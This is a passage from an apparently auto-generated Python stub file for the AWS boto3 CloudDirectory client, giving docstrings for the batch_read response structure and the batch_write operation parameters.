token. ListObjectChildren (dict) -- Returns a paginated list of child objects that are associated with a given object. Children (dict) -- The children structure, which is a map with the key as the LinkName and ObjectIdentifier as the value. (string) -- (string) -- NextToken (string) -- The pagination token. GetObjectInformation (dict) -- Retrieves metadata about an object. SchemaFacets (list) -- The facets attached to the specified object. (dict) -- A facet. SchemaArn (string) -- The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions. FacetName (string) -- The name of the facet. ObjectIdentifier (string) -- The ObjectIdentifier of the specified object. GetObjectAttributes (dict) -- Retrieves attributes within a facet that are associated with an object. Attributes (list) -- The attribute values that are associated with an object. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. ListAttachedIndices (dict) -- Lists indices attached to an object. IndexAttachments (list) -- The indices attached to the specified object. (dict) -- Represents an index and an attached object. IndexedAttributes (list) -- The indexed attribute values. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. ObjectIdentifier (string) -- In response to ListIndex , the ObjectIdentifier of the object attached to the index. In response to ListAttachedIndices , the ObjectIdentifier of the index attached to the object. This field will always contain the ObjectIdentifier of the object on the opposite side of the attachment specified in the query. NextToken (string) -- The pagination token. ListObjectParentPaths (dict) -- Retrieves all available parent paths for any object type such as node, leaf node, policy node, and index node objects. For more information about objects, see Directory Structure . PathToObjectIdentifiersList (list) -- Returns the path to the ObjectIdentifiers that are associated with the directory. (dict) -- Returns the path to the ObjectIdentifiers that is associated with the directory. Path (string) -- The path that is used to identify the object starting from directory root. ObjectIdentifiers (list) -- Lists ObjectIdentifiers starting from directory root to the object in the request. (string) -- NextToken (string) -- The pagination token. ListObjectPolicies (dict) -- Returns policies attached to an object in pagination fashion. AttachedPolicyIds (list) -- A list of policy ObjectIdentifiers , that are attached to the object. (string) -- NextToken (string) -- The pagination token. ListPolicyAttachments (dict) -- Returns all of the ObjectIdentifiers to which a given policy is attached. ObjectIdentifiers (list) -- A list of ObjectIdentifiers to which the policy is attached. (string) -- NextToken (string) -- The pagination token. LookupPolicy (dict) -- Lists all policies from the root of the Directory to the object specified. If there are no policies present, an empty list is returned. If policies are present, and if some objects don\'t have the policies attached, it returns the ObjectIdentifier for such objects. If policies are present, it returns ObjectIdentifier , policyId , and policyType . Paths that don\'t lead to the root from the target object are ignored. For more information, see Policies . PolicyToPathList (list) -- Provides list of path to policies. Policies contain PolicyId , ObjectIdentifier , and PolicyType . For more information, see Policies . (dict) -- Used when a regular object exists in a Directory and you want to find all of the policies that are associated with that object and the parent to that object. Path (string) -- The path that is referenced from the root. Policies (list) -- List of policy objects. (dict) -- Contains the PolicyType , PolicyId , and the ObjectIdentifier to which it is attached. For more information, see Policies . PolicyId (string) -- The ID of PolicyAttachment . ObjectIdentifier (string) -- The ObjectIdentifier that is associated with PolicyAttachment . PolicyType (string) -- The type of policy that can be associated with PolicyAttachment . NextToken (string) -- The pagination token. ListIndex (dict) -- Lists objects attached to the specified index. IndexAttachments (list) -- The objects and indexed values attached to the index. (dict) -- Represents an index and an attached object. IndexedAttributes (list) -- The indexed attribute values. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. ObjectIdentifier (string) -- In response to ListIndex , the ObjectIdentifier of the object attached to the index. In response to ListAttachedIndices , the ObjectIdentifier of the index attached to the object. This field will always contain the ObjectIdentifier of the object on the opposite side of the attachment specified in the query. NextToken (string) -- The pagination token. ListOutgoingTypedLinks (dict) -- Returns a paginated list of all the outgoing TypedLinkSpecifier information for an object. It also supports filtering by typed link facet and identity attributes. For more information, see Typed Links . TypedLinkSpecifiers (list) -- Returns a typed link specifier as output. (dict) -- Contains all the information that is used to uniquely identify a typed link. The parameters discussed in this topic are used to uniquely specify the typed link being operated on. The AttachTypedLink API returns a typed link specifier while the DetachTypedLink API accepts one as input. Similarly, the ListIncomingTypedLinks and ListOutgoingTypedLinks API operations provide typed link specifiers as output. You can also construct a typed link specifier from scratch. TypedLinkFacet (dict) -- Identifies the typed link facet that is associated with the typed link. SchemaArn (string) -- The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns . TypedLinkName (string) -- The unique name of the typed link facet. SourceObjectReference (dict) -- Identifies the source object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call TargetObjectReference (dict) -- Identifies the target object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call IdentityAttributeValues (list) -- Identifies the attribute value to update. (dict) -- Identifies the attribute name and value for a typed link. AttributeName (string) -- The attribute name of the typed link. Value (dict) -- The value for the typed link. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. NextToken (string) -- The pagination token. ListIncomingTypedLinks (dict) -- Returns a paginated list of all the incoming TypedLinkSpecifier information for an object. It also supports filtering by typed link facet and identity attributes. For more information, see Typed Links . LinkSpecifiers (list) -- Returns one or more typed link specifiers as output. (dict) -- Contains all the information that is used to uniquely identify a typed link. The parameters discussed in this topic are used to uniquely specify the typed link being operated on. The AttachTypedLink API returns a typed link specifier while the DetachTypedLink API accepts one as input. Similarly, the ListIncomingTypedLinks and ListOutgoingTypedLinks API operations provide typed link specifiers as output. You can also construct a typed link specifier from scratch. TypedLinkFacet (dict) -- Identifies the typed link facet that is associated with the typed link. SchemaArn (string) -- The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns . TypedLinkName (string) -- The unique name of the typed link facet. SourceObjectReference (dict) -- Identifies the source object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call TargetObjectReference (dict) -- Identifies the target object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call IdentityAttributeValues (list) -- Identifies the attribute value to update. (dict) -- Identifies the attribute name and value for a typed link. AttributeName (string) -- The attribute name of the typed link. Value (dict) -- The value for the typed link. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. NextToken (string) -- The pagination token. GetLinkAttributes (dict) -- The list of attributes to retrieve from the typed link. Attributes (list) -- The attributes that are associated with the typed link. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. ListObjectParents (dict) -- ParentLinks (list) -- (dict) -- A pair of ObjectIdentifier and LinkName. ObjectIdentifier (string) -- The ID that is associated with the object. LinkName (string) -- The name of the link between the parent and the child object. NextToken (string) -- ExceptionResponse (dict) -- Identifies which operation in a batch has failed. Type (string) -- A type of exception, such as InvalidArnException . Message (string) -- An exception message that is associated with the failure. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException :return: { 'Responses': [ { 'SuccessfulResponse': { 'ListObjectAttributes': { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'NextToken': 'string' }, 'ListObjectChildren': { 'Children': { 'string': 'string' }, 'NextToken': 'string' }, 'GetObjectInformation': { 'SchemaFacets': [ { 'SchemaArn': 'string', 'FacetName': 'string' }, ], 'ObjectIdentifier': 'string' }, 'GetObjectAttributes': { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, 'ListAttachedIndices': { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' }, 'ListObjectParentPaths': { 'PathToObjectIdentifiersList': [ { 'Path': 'string', 'ObjectIdentifiers': [ 'string', ] }, ], 'NextToken': 'string' }, 'ListObjectPolicies': { 'AttachedPolicyIds': [ 'string', ], 'NextToken': 'string' }, 'ListPolicyAttachments': { 'ObjectIdentifiers': [ 'string', ], 'NextToken': 'string' }, 'LookupPolicy': { 'PolicyToPathList': [ { 'Path': 'string', 'Policies': [ { 'PolicyId': 'string', 'ObjectIdentifier': 'string', 'PolicyType': 'string' }, ] }, ], 'NextToken': 'string' }, 'ListIndex': { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' }, 'ListOutgoingTypedLinks': { 'TypedLinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' }, 'ListIncomingTypedLinks': { 'LinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' }, 'GetLinkAttributes': { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, 'ListObjectParents': { 'ParentLinks': [ { 'ObjectIdentifier': 'string', 'LinkName': 'string' }, ], 'NextToken': 'string' } }, 'ExceptionResponse': { 'Type': 'ValidationException'|'InvalidArnException'|'ResourceNotFoundException'|'InvalidNextTokenException'|'AccessDeniedException'|'NotNodeException'|'FacetValidationException'|'CannotListParentOfRootException'|'NotIndexException'|'NotPolicyException'|'DirectoryNotEnabledException'|'LimitExceededException'|'InternalServiceException', 'Message': 'string' } }, ] } :returns: (string) -- (string) -- """ pass def batch_write(DirectoryArn=None, Operations=None): """ Performs all the write operations in a batch. Either all the operations succeed or none. See also: AWS API Documentation Exceptions :example: response = client.batch_write( DirectoryArn='string', Operations=[ { 'CreateObject': { 'SchemaFacet': [ { 'SchemaArn': 'string', 'FacetName': 'string' }, ], 'ObjectAttributeList': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ParentReference': { 'Selector': 'string' }, 'LinkName': 'string', 'BatchReferenceName': 'string' }, 'AttachObject': { 'ParentReference': { 'Selector': 'string' }, 'ChildReference': { 'Selector': 'string' }, 'LinkName': 'string' }, 'DetachObject': { 'ParentReference': { 'Selector': 'string' }, 'LinkName': 'string', 'BatchReferenceName': 'string' }, 'UpdateObjectAttributes': { 'ObjectReference': { 'Selector': 'string' }, 'AttributeUpdates': [ { 'ObjectAttributeKey': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'ObjectAttributeAction': { 'ObjectAttributeActionType': 'CREATE_OR_UPDATE'|'DELETE', 'ObjectAttributeUpdateValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ] }, 'DeleteObject': { 'ObjectReference': { 'Selector': 'string' } }, 'AddFacetToObject': { 'SchemaFacet': { 'SchemaArn': 'string', 'FacetName': 'string' }, 'ObjectAttributeList': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectReference': { 'Selector': 'string' } }, 'RemoveFacetFromObject': { 'SchemaFacet': { 'SchemaArn': 'string', 'FacetName': 'string' }, 'ObjectReference': { 'Selector': 'string' } }, 'AttachPolicy': { 'PolicyReference': { 'Selector': 'string' }, 'ObjectReference': { 'Selector': 'string' } }, 'DetachPolicy': { 'PolicyReference': { 'Selector': 'string' }, 'ObjectReference': { 'Selector': 'string' } }, 'CreateIndex': { 'OrderedIndexedAttributeList': [ { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, ], 'IsUnique': True|False, 'ParentReference': { 'Selector': 'string' }, 'LinkName': 'string', 'BatchReferenceName': 'string' }, 'AttachToIndex': { 'IndexReference': { 'Selector': 'string' }, 'TargetReference': { 'Selector': 'string' } }, 'DetachFromIndex': { 'IndexReference': { 'Selector': 'string' }, 'TargetReference': { 'Selector': 'string' } }, 'AttachTypedLink': { 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'Attributes': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, 'DetachTypedLink': { 'TypedLinkSpecifier': { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } }, 'UpdateLinkAttributes': { 'TypedLinkSpecifier': { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, 'AttributeUpdates': [ { 'AttributeKey': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'AttributeAction': { 'AttributeActionType': 'CREATE_OR_UPDATE'|'DELETE', 'AttributeUpdateValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ] } }, ] ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory . For more information, see arns .\n :type Operations: list :param Operations: [REQUIRED]\nA list of operations that are part of the batch.\n\n(dict) --Represents the output of a BatchWrite operation.\n\nCreateObject (dict) --Creates an object.\n\nSchemaFacet (list) -- [REQUIRED]A list of FacetArns that will be associated with the object. For more information, see arns .\n\n(dict) --A facet.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n\n\n\nObjectAttributeList (list) -- [REQUIRED]An attribute map, which contains an attribute ARN as the key and attribute value as the map value.\n\n(dict) --The combination of an attribute key and an attribute value.\n\nKey (dict) -- [REQUIRED]The key of the attribute.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nValue (dict) -- [REQUIRED]The value of the attribute.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\nParentReference (dict) --If specified, the parent reference to which this object will be attached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nLinkName (string) --The name of the link.\n\nBatchReferenceName (string) --The batch reference name. See Transaction Support for more information.\n\n\n\nAttachObject (dict) --Attaches an object to a Directory .\n\nParentReference (dict) -- [REQUIRED]The parent object reference.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nChildReference (dict) -- [REQUIRED]The child object reference that is to be attached to the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nLinkName (string) -- [REQUIRED]The name of the link.\n\n\n\nDetachObject (dict) --Detaches an object from a Directory .\n\nParentReference (dict) -- [REQUIRED]Parent reference from which the object with the specified link name is detached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nLinkName (string) -- [REQUIRED]The name of the link.\n\nBatchReferenceName (string) --The batch reference name. See Transaction Support for more information.\n\n\n\nUpdateObjectAttributes (dict) --Updates a given object\'s attributes.\n\nObjectReference (dict) -- [REQUIRED]Reference that identifies the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nAttributeUpdates (list) -- [REQUIRED]Attributes update structure.\n\n(dict) --Structure that contains attribute update information.\n\nObjectAttributeKey (dict) --The key of the attribute being updated.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nObjectAttributeAction (dict) --The action to perform as part of the attribute update.\n\nObjectAttributeActionType (string) --A type that can be either Update or Delete .\n\nObjectAttributeUpdateValue (dict) --The value that you want to update to.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\n\n\nDeleteObject (dict) --Deletes an object in a Directory .\n\nObjectReference (dict) -- [REQUIRED]The reference that identifies the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nAddFacetToObject (dict) --A batch operation that adds a facet to an object.\n\nSchemaFacet (dict) -- [REQUIRED]Represents the facet being added to the object.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n\nObjectAttributeList (list) -- [REQUIRED]The attributes to set on the object.\n\n(dict) --The combination of an attribute key and an attribute value.\n\nKey (dict) -- [REQUIRED]The key of the attribute.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nValue (dict) -- [REQUIRED]The value of the attribute.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\nObjectReference (dict) -- [REQUIRED]A reference to the object being mutated.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nRemoveFacetFromObject (dict) --A batch operation that removes a facet from an object.\n\nSchemaFacet (dict) -- [REQUIRED]The facet to remove from the object.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n\nObjectReference (dict) -- [REQUIRED]A reference to the object whose facet will be removed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nAttachPolicy (dict) --Attaches a policy object to a regular object. An object can have a limited number of attached policies.\n\nPolicyReference (dict) -- [REQUIRED]The reference that is associated with the policy object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nObjectReference (dict) -- [REQUIRED]The reference that identifies the object to which the policy will be attached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nDetachPolicy (dict) --Detaches a policy from a Directory .\n\nPolicyReference (dict) -- [REQUIRED]Reference that identifies the policy object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nObjectReference (dict) -- [REQUIRED]Reference that identifies the object whose policy object will be detached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nCreateIndex 